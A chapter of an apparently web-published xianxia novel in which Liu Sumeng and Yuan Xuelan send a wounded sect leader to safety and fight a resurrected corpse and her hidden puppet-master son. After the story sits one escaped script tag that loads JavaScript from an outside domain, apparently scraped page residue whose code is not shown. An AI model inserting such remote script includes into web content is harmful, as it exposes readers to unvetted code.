100 I see him

"Zhao-ge!" Li Zheng yelled.

Liu Sumeng was there to catch him when Sect Leader Zhao swayed. Li Zheng quickly rushed to his Shixiong's side and held him up.

But his face was ghastly and when he coughed more blood stained his lips. Hui Moxiang and Zhao Weiwei joined them as well. The young girl pulled at her uncle's robes, desperately trying to say words that could not leave her lips.

"Ah…tired…" Zhao Fanyu complained.

"He can't go on like this," Hui Moxiang pointed out, "he needs rest."

Li Zheng stuck an arm protectively between his Shixiong and the Hui demon, "You don't need to tell me that."

But just as they were talking, growls echoed from the floor below. The howl of a familiar undead voice caught Yuan Xuelan's attention. It was Cao Hong's screeching roar. His face instantly twisted into one of annoyance, "That fucker is still here!"

Aside from Cao Hong's voice, there was the sound of other undead present as well. They were stomping and groaning on the floors below as though waiting.

"That fucker Peng Jipei is still hiding here! Sumeng," he turned to the Ivory Sword Saint, "I'm going to kill him. Wait for me."

But before he could run off, the Ivory Sword Saint grabbed his sleeve and commanded him, "No. Wait."

"We can't just let him get away!" Yuan Xuelan raised his voice.

"I know," the Ivory Sword Saint said, "but do not be hasty. Wait and I will join you."

Yuan Xuelan was visibly taken aback, "You- Oh…Okay." A light fluster traveled up his neck and he was forced to look away to keep his composure. Why was he acting so childish and impatient? The answer was clear. The red rage refused to completely quell and remained flickering in Yuan Xuelan's heart.

If his Sumeng was close he could ignore it, but it never really disappeared.

And even if he cared little for the consequences, he cared that Liu Sumeng might think him unsightly…He cared--

Liu Sumeng sighed and made sure to keep the corner of his eye on Xuelan to ensure that he didn't run off and do anything rash. But he allowed his companion to brood for now and turned his attention back to the other three.

Zhao Fanyu's breathing was stuttering and sharp. Each cough expelled more blood. His eyelids drooped and were telltale of soon passing out.

There was still the young Zhao Weiwei as well and that made at least two people with little to no ability to defend themselves. The Ivory Sword Saint looked at Hui Moxiang, "Are you trustworthy?"

Hui Moxiang reeled, her eyes widened but she was slow to speak. Li Zheng responded for her, "Absolutely not!" But Zhao Weiwei shoved her senior aside and gave Liu Sumeng a vigorous nod instead.

"Wei'er," Li Zheng began with a scolding tone, "you ought to know better now. She is a traitor."

But Zhao Weiwei only glared and continued to cling to Hui Moxiang as a show of confidence.

Liu Sumeng ignored their bickering and only waited for Hui Moxiang's answer. She was hesitant but eventually said, "There's nothing I can say to truly prove my thoughts and intentions…but honestly. I just want to help."

Li Zheng was quick to protest, "You can't possibly think she can be trusted."

But Liu Sumeng did not hesitate and said, "I trust you. Take the girl and Sect Leader Zhao to safety."

"Ivory Sword Saint! This is surely unreasonable…"

Liu Sumeng kept his calm, "Is there a more reasonable solution?"

The Wayward Wind disciple chewed his lips.

"If you are worried, follow them on your flying sword."

Though the younger Wayward Wind disciple was still apprehensive, he eventually conceded to the Ivory Sword Saint's suggestion. The top of the Wayward Wind Temple was in fact surrounded by a powerful barrier that expelled anything approaching from the skies, but leaving through the barrier was a lot simpler. It was better than taking their chances of going back down through the corpse-infested temple.

Hui Moxiang transformed into a giant raven, just big enough for Zhao Fanyu and his little niece to climb onto the demon's back.

"I will take them to safety then," Hui Moxiang departed with a final promise with Li Zheng close behind her. When they became but specs in the distant blue sky, Liu Sumeng turned his attention back to Yuan Xuelan who was standing off to the side.

The younger was leaning against one of the pillars, arms crossed and expressed complicated with furrowed brows glaring at the ground.

Liu Sumeng sighed. At least he hadn't run off. "I'm done."

Yuan Xuelan jerked up and the way his lips pulled downward was almost pleading, "Oh, okay… Then, let's go?"

Since when did Yuan Xuelan ever use such a timid voice? Even Liu Sumeng was taken aback. But he eagerly joined his side so he supposed this was a good thing… But was it really a good thing that Xuelan looked like a dejected puppy half the time? He was a little worried, maybe the head pats weren't good enough.

He would have to think more about it later. For now, they had one more pressing issue on their hands and that was Peng Jipei and his resurrected mother. In the end, that kid wasn't able to be saved from himself, Liu Sumeng lamented.

But he was still terribly curious about how he went down the Devil Path even under Zhao Fanyu's supervision.

The floor below with the wide hall seemed deceptively calm, but there was no mistaking the thick resentful energy that permeated like a poisonous cloud.

Cao Hong stood at the center of the hall. Her arm was once again attached but this time not by stitches. There was an evil mist flowing out from where the appendage had been severed. And the gaping hole in her neck was still present.

"You fucking bastard," Peng Jipei's voice welcomed them, echoing across the hall in all directions, "look what you've done to my poor Mother!"

"What mother!?" Yuan Xuelan howled at the voice tof Peng Jipei, "That's just a rotting puppet! Cao Hong is dead, you fucking imbecile!"

"Shut up!!"

At that moment, Cao Hong charged at them, meeting the edge of Liu Sumeng's sword.

Growls came from the shadow and more of those warrior corpses stepped forth from the shadows, armed with weapons and ready to fight.

And it was only the two of them, Liu Sumeng and Yuan Xuelan, fighting back to back. Yuan Xuelan's spiritual energy was already spent, fatigue gnawing at his bones. His talisman stock was dangerously low and he had only one of those resentful energy-infused talismans left.

Now, there was Liu Sumeng at his side as well! A creeping anxiety grew in his heart, mingling with the anger and rage. He didn't want to show this ugly side of him but he couldn't contain himself any longer!

The corpses drew in and Yuan Xuelan didn't even have enough spiritual energy to call upon Silei's power lest he wanted to go into a spiritual energy deficit!

But he was desperate and swung around in wide motions to catch these things' attention. He had no time for these puppets. Where the fuck was the useless puppet master!? His eyes veered around, distracted from the foes close to him.

A cut sliced deep in his forearm, his leg, but Yuan Xuelan didn't even care.

Liu Sumeng was busy clashing with Cao Hong. But he could sense Yuan Xuelan's anxiety. "Calm down," his stoic voice was commanding in tone, "have more trust in me."

Yuan Xuelan gritted his teeth but the storm in his heart was difficult to soothe especially when there were ghouls thrusting and slicing their swords at him. He wanted nothing more than to dismember and cut them to pieces, to let blood and vent his rage.

And each time Silei failed to reach its mark, each time a sword edge cut into Xuelan's flesh instead, impatience flared red and hot. When he could drag that little shit out of his hiding place…!

Yuan Xuelan's thoughts stuttered when a warm back pressed against his. For a brief flickering moment he could feel the way Liu Sumeng's back expanded and contracted against him, and where his own heart was contorted and chaotic, Liu Sumeng's was calm.

A sword edge cleaved down toward him and Yuan Xuelan carefully twisted out of range. He took in a deep breath.

Liu Sumeng was worried but he needed to trust in his companion, trust that Xuelan could get a grip on his turbulent emotions and pull through. He was Yuan Xuelan after all.

So instead, he focused on the fiend in front of him, the terrible resurrected corpse. The arm that was severed several times only seemed to increase in strength. The force in which it exerted was so great that Liu Sumeng could feel shockwaves in the air each time she struck. His bones would surely shatter upon impact.

He was careful with parrying each strike. His eyes were peeled on that black mist that emitted from the arm. The connection there was heavy with resentful energy. Liu Sumeng knew where he had to aim.

But getting in close enough was proving a chore. Sometimes sacrifices and risks had to be made. He closed in as Cao Hong lunged forth. Her hand caught his left shoulder and he ignored the crunching sound under her grasps. His left hand let go of his sword but now wielding it with only one hand, he could twist forward for more reach even when caught in the corpse's grasp. He reached forward with his blade, slicing through the black mist that connected Cao Hong's severed arm. Mingshui cut in with ease.

Not only did the arm come loose again, but a powerful stream of resentful energy also poured out so forcefully that it made the corpse's hold go slack, giving the Ivory Sword Saint an opening to kick the thing away from him.

It was then that he noticed something in the corner of his vision.

"Xuelan," Liu Sumeng fell back, retreating to be close to his partner.

Yuan Xuelan, alerted, followed Liu Sumeng's eyes to see a corpse that seemed to cower strangely behind the others, never quite joining the fray.

Yuan Xuelan's eyes grew cold, his killing intent sharp. "I see him."

\u003cscript type="text/javascript" async="" src="//joyshoul.com/22bd1a92d57466cd6c.js"\u003e\u003c/script\u003e